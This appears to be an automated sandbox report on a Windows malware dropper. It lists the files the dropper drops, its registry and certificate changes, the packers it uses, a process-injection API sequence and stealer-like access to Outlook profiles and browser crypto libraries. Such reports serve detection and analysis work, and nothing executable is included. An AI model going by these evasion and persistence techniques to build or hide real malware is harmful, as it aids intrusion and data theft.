Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Section loaded: dxcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Section loaded: devobj.dll

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{EA502722-A23D-11D1-A7D3-0000F87571E3}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

File written: C:\Windows\System32\GroupPolicy\gpt.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp

Window found: window name: TMainForm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe

Directory created: C:\Program Files\Windows Media Player\background.jpg

Jump to behavior

Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Static file information: File size 7633920 > 1048576

Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Static PE information: Raw size of is bigger than: 0x100000 < 0x245600
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Static PE information: Raw size of .themida is bigger than: 0x100000 < 0x44c000

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765793912.000000000442B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765061034.00000000043D2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1766663605.0000000004B9C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1764599218.00000000043D2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765238502.00000000043D2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1765328581.00000000043E0000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1770764041.00000000051A4000.00000004.00000020.00020000.00000000.sdmp, NMSPRoliqHaiq3pjTjf_LdWm.exe, 00000009.00000000.1875232432.00000000007EB000.00000002.00000001.01000000.0000000B.sdmp, NMSPRoliqHaiq3pjTjf_LdWm.exe, 00000009.00000002.2220137506.00000000007EB000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: mozglue.pdbP source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2524124918.00000000684ED000.00000002.00000001.01000000.0000002A.sdmp
Source:	Binary string: \??\C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.PDB source: uSTzApXGKnAPBLGKxFTiBRtj.exe, 0000000D.00000002.2452071198.000001CED6F00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: MsMpEng.pdbH source: AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263864919.00000255D9420000.00000040.00001000.00020000.00000000.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000003.1932902884.00000255D93F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb@ source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2524875877.00000000686AF000.00000002.00000001.01000000.00000029.sdmp
Source:	Binary string: \??\C:\Windows\Hider.pdba source: uSTzApXGKnAPBLGKxFTiBRtj.exe, 0000000D.00000002.2452071198.000001CED6F00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: K:\2024-5-11\ZQDS\x64\Release\ZQDS.pdb source: AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263864919.00000255D9420000.00000040.00001000.00020000.00000000.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000003.1932902884.00000255D93F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\dev\sqlite\dotnet-private\obj\2015\System.Data.SQLite.Linq.2015\Release\System.Data.SQLite.Linq.pdb source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\Win32\Release\Protect32.pdb source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000002.2222007129.0000000004B7F000.00000004.00000800.00020000.00000000.sdmp, _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000002.2394017674.0000000068794000.00000002.00000001.01000000.00000028.sdmp, _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000002.2316030180.0000000005D80000.00000004.08000000.00040000.00000000.sdmp, _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000002.2222007129.0000000004543000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: WjH5u4L3ZceSlLwRuJa2oMKn.exe, 0000000E.00000002.2135134258.0000000000CBC000.00000080.00000001.01000000.00000014.sdmp
Source:	Binary string: $K:\2024-5-11\ZQDS\x64\Release\ZQDS.pdb source: AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263864919.00000255D9420000.00000040.00001000.00020000.00000000.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000003.1932902884.00000255D93F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000000.1650483666.0000000140B5E000.00000080.00000001.01000000.00000003.sdmp
Source:	Binary string: F:\workspace\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\Release\apphost.pdbhhh source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1737430213.00000000043E0000.00000004.00000020.00020000.00000000.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000000.1877131180.00007FF62C629000.00000002.00000001.01000000.0000000A.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2264433765.00007FF62C629000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: mozglue.pdb source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2524124918.00000000684ED000.00000002.00000001.01000000.0000002A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\win-x86.Release\corehost\cli\apphost\standalone\Release\apphost.pdbfffGCTL source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: F:\workspace\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\Release\apphost.pdb source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000003.1737430213.00000000043E0000.00000004.00000020.00020000.00000000.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000000.1877131180.00007FF62C629000.00000002.00000001.01000000.0000000A.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2264433765.00007FF62C629000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: \??\C:\Windows\exe\Hider.pdbows1 source: uSTzApXGKnAPBLGKxFTiBRtj.exe, 0000000D.00000002.2449565795.000001CED6595000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\79631\source\repos\Gcleanerapp\Gcleanerapp\obj\Release\Gcleanerapp.pdb source: l9lSJ9GGGlvKrfyivpacgPFW.exe, 0000000B.00000003.2260797021.0000000004827000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\x64\Release\XBundlerTlsHelper.pdb source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000000.1650483666.0000000140983000.00000080.00000001.01000000.00000003.sdmp
Source:	Binary string: C:\Users\weckb\source\repos\Hider\Hider\obj\x64\Release\Hider.pdb source: uSTzApXGKnAPBLGKxFTiBRtj.exe, 0000000D.00000002.2382093080.000001CEBDD3B000.00000004.00000800.00020000.00000000.sdmp, uSTzApXGKnAPBLGKxFTiBRtj.exe, 0000000D.00000002.2373715799.000001CEBDBB0000.00000002.00000001.00040000.0000000E.sdmp, uSTzApXGKnAPBLGKxFTiBRtj.exe, 0000000D.00000002.2444278033.000001CED64EF000.00000004.00000020.00020000.00000000.sdmp, uSTzApXGKnAPBLGKxFTiBRtj.exe, 0000000D.00000002.2452071198.000001CED6F00000.00000004.00000020.00020000.00000000.sdmp, uSTzApXGKnAPBLGKxFTiBRtj.exe, 0000000D.00000000.1876988239.000001CEBBFB2000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\win-x86.Release\corehost\cli\apphost\standalone\Release\apphost.pdb source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000000.1874715442.0000000000CA2000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb! source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe, 00000000.00000000.1650483666.0000000140B5E000.00000080.00000001.01000000.00000003.sdmp
Source:	Binary string: MsMpEng.pdb source: AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000002.2263864919.00000255D9420000.00000040.00001000.00020000.00000000.sdmp, AcFckZYSxYVwMhatLa6qbSBF.exe, 00000006.00000003.1932902884.00000255D93F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2524875877.00000000686AF000.00000002.00000001.01000000.00000029.sdmp
Source:	Binary string: \??\C:\Windows\Hider.pdbB source: uSTzApXGKnAPBLGKxFTiBRtj.exe, 0000000D.00000002.2452071198.000001CED6F00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\x64\Release\Protect64.pdb source: _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000002.2222007129.0000000004C3C000.00000004.00000800.00020000.00000000.sdmp, _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000002.2316030180.0000000005E3A000.00000004.08000000.00040000.00000000.sdmp, _C5tySJGGF0UA_S78re9UWIo.exe, 00000011.00000002.2222007129.0000000004AB1000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Unpacked PE file: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Unpacked PE file: 11.2.l9lSJ9GGGlvKrfyivpacgPFW.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.tls:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Unpacked PE file: 16.2.oRz0dgUR_xvbQVyt3Uz7F7QO.exe.400000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.rsrc:R;Unknown_Section6:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:R;.rsrc:R;Unknown_Section6:EW;.data:EW;
Source: C:\Users\user\Documents\SimpleAdobe\B0191BYWi2sm3auk5jNzPdQw.exe	Unpacked PE file: 29.2.B0191BYWi2sm3auk5jNzPdQw.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Unpacked PE file: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.400000.0.unpack
Source: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Unpacked PE file: 11.2.l9lSJ9GGGlvKrfyivpacgPFW.exe.400000.0.unpack
Source: C:\Users\user\Documents\SimpleAdobe\B0191BYWi2sm3auk5jNzPdQw.exe	Unpacked PE file: 29.2.B0191BYWi2sm3auk5jNzPdQw.exe.400000.0.unpack

Source: uSTzApXGKnAPBLGKxFTiBRtj.exe.0.dr

Static PE information: 0xA1298F1A [Mon Sep 6 14:56:26 2055 UTC]

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe

Code function: 5_2_0087F280 VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualAllocEx,LoadLibraryA,GetProcAddress,WriteProcessMemory,WriteProcessMemory,CreateRemoteThread,WaitForSingleObject,

5_2_0087F280

Source: initial sample

Static PE information: section where entry point is pointing to: .themida

Source: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe

File created: C:\Users\user\AppData\Local\Temp\__tmp_rar_sfx_access_check_4053875

Jump to behavior

Source: 2JjpKpJKHpHJisxPcc0WWCif.tmp.7.dr	Static PE information: real checksum: 0x0 should be: 0xb3a65
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x3094f4
Source: setup[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x751a4a
Source: oiii[1].exe.0.dr	Static PE information: real checksum: 0x43729 should be: 0x44c3b
Source: katDE8F.tmp.8.dr	Static PE information: real checksum: 0x0 should be: 0xdfa9e
Source: niko[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x3094f4
Source: o2i3jroi23joj23ikrjokij3oroi[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x277e7e
Source: 2JjpKpJKHpHJisxPcc0WWCif.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x54f542
Source: uSTzApXGKnAPBLGKxFTiBRtj.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x14a7b
Source: AcFckZYSxYVwMhatLa6qbSBF.exe.0.dr	Static PE information: real checksum: 0x43729 should be: 0x44c3b
Source: lumma2305[2].exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x741c5
Source: TWO[1].file.11.dr	Static PE information: real checksum: 0x0 should be: 0x25a5
Source: F2MwMOxTR5ZuDHHYSd2btGVy.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x688fa
Source: setup294[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x2e862f
Source: NMSPRoliqHaiq3pjTjf_LdWm.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x2e862f
Source: boVVOk_VnQHj3a1q182pGwZV.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x751a4a
Source: YsL35EpGrjU1rZchKY2714UT.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x277e7e
Source: Xv6O6ANXmRXk_nKzAGAD.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x741c5
Source: crt[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x54f542
Source: 7De6QmGXH.exe.11.dr	Static PE information: real checksum: 0x0 should be: 0x25a5
Source: Dnr7f7kJx0GzWtxbQaDXLIUA.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x733f4

Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Static PE information: section name:
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Static PE information: section name:
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Static PE information: section name: .themida
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: Retailer_prog[1].exe.0.dr	Static PE information: section name: .vmp
Source: Retailer_prog[1].exe.0.dr	Static PE information: section name: .vmp
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe.0.dr	Static PE information: section name:
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe.0.dr	Static PE information: section name:
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe.0.dr	Static PE information: section name:
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe.0.dr	Static PE information: section name:
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe.0.dr	Static PE information: section name:
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe.0.dr	Static PE information: section name:
Source: ezK8JIVGtHF75lpAeZwSuYWB.exe.0.dr	Static PE information: section name: .vmp
Source: ezK8JIVGtHF75lpAeZwSuYWB.exe.0.dr	Static PE information: section name: .vmp
Source: setup294[1].exe.0.dr	Static PE information: section name: .didat
Source: NMSPRoliqHaiq3pjTjf_LdWm.exe.0.dr	Static PE information: section name: .didat
Source: Default12_s[1].exe.0.dr	Static PE information: section name: .vmp
Source: Default12_s[1].exe.0.dr	Static PE information: section name: .vmp
Source: NRN3O_fFwiqNbjNW0Hj0MSKB.exe.0.dr	Static PE information: section name: .vmp
Source: NRN3O_fFwiqNbjNW0Hj0MSKB.exe.0.dr	Static PE information: section name: .vmp
Source: setup[1].exe.0.dr	Static PE information: section name: .sxdata
Source: 123p[1].exe.0.dr	Static PE information: section name: .00cfg
Source: 123p[1].exe.0.dr	Static PE information: section name: .text0
Source: 123p[1].exe.0.dr	Static PE information: section name: .text1
Source: 123p[1].exe.0.dr	Static PE information: section name: .text2
Source: boVVOk_VnQHj3a1q182pGwZV.exe.0.dr	Static PE information: section name: .sxdata
Source: WDXRX19iwzw1OqSiNoRL5ABe.exe.0.dr	Static PE information: section name: .00cfg
Source: WDXRX19iwzw1OqSiNoRL5ABe.exe.0.dr	Static PE information: section name: .text0
Source: WDXRX19iwzw1OqSiNoRL5ABe.exe.0.dr	Static PE information: section name: .text1
Source: WDXRX19iwzw1OqSiNoRL5ABe.exe.0.dr	Static PE information: section name: .text2
Source: default_s[1].exe.0.dr	Static PE information: section name: .vmp
Source: default_s[1].exe.0.dr	Static PE information: section name: .vmp
Source: r7sW8wNeP3sav5N1yYLUJzML.exe.0.dr	Static PE information: section name: .vmp
Source: r7sW8wNeP3sav5N1yYLUJzML.exe.0.dr	Static PE information: section name: .vmp
Source: WjH5u4L3ZceSlLwRuJa2oMKn.exe.0.dr	Static PE information: section name:
Source: WjH5u4L3ZceSlLwRuJa2oMKn.exe.0.dr	Static PE information: section name:
Source: WjH5u4L3ZceSlLwRuJa2oMKn.exe.0.dr	Static PE information: section name:
Source: WjH5u4L3ZceSlLwRuJa2oMKn.exe.0.dr	Static PE information: section name:
Source: WjH5u4L3ZceSlLwRuJa2oMKn.exe.0.dr	Static PE information: section name: .themida
Source: freebl3.dll.10.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.10.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.10.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.10.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.10.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.10.dr	Static PE information: section name: .didat
Source: nss3.dll.10.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.10.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.10.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.10.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe

Code function: 5_2_007E3F59 push ecx; ret

5_2_007E3F6C

Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Static PE information: section name: entropy: 7.300429067665335
Source: niko[1].exe.0.dr	Static PE information: section name: entropy: 7.999572211295874
Source: niko[1].exe.0.dr	Static PE information: section name: entropy: 7.996005884016935
Source: niko[1].exe.0.dr	Static PE information: section name: entropy: 7.825389219687601
Source: niko[1].exe.0.dr	Static PE information: section name: entropy: 7.966701630429453
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe.0.dr	Static PE information: section name: entropy: 7.999572211295874
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe.0.dr	Static PE information: section name: entropy: 7.996005884016935
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe.0.dr	Static PE information: section name: entropy: 7.825389219687601
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe.0.dr	Static PE information: section name: entropy: 7.966701630429453
Source: pd2rJiO.cpl.9.dr	Static PE information: section name: .text entropy: 7.993561754728137

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\boVVOk_VnQHj3a1q182pGwZV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\B0191BYWi2sm3auk5jNzPdQw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\2JjpKpJKHpHJisxPcc0WWCif.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\Dnr7f7kJx0GzWtxbQaDXLIUA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\F2MwMOxTR5ZuDHHYSd2btGVy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\WDXRX19iwzw1OqSiNoRL5ABe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\YsL35EpGrjU1rZchKY2714UT.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\NMSPRoliqHaiq3pjTjf_LdWm.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\ezK8JIVGtHF75lpAeZwSuYWB.exe	Jump to dropped file

Installs new ROOT certificates

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\AcFckZYSxYVwMhatLa6qbSBF.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-1NO40.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	File created: C:\ProgramData\MPGPH131\MPGPH131.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-TUB52.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-BHR8A.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File created: C:\ProgramData\ECAKKKKJDBKK\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Users\user\Documents\SimpleAdobe\boVVOk_VnQHj3a1q182pGwZV.exe	Jump to dropped file
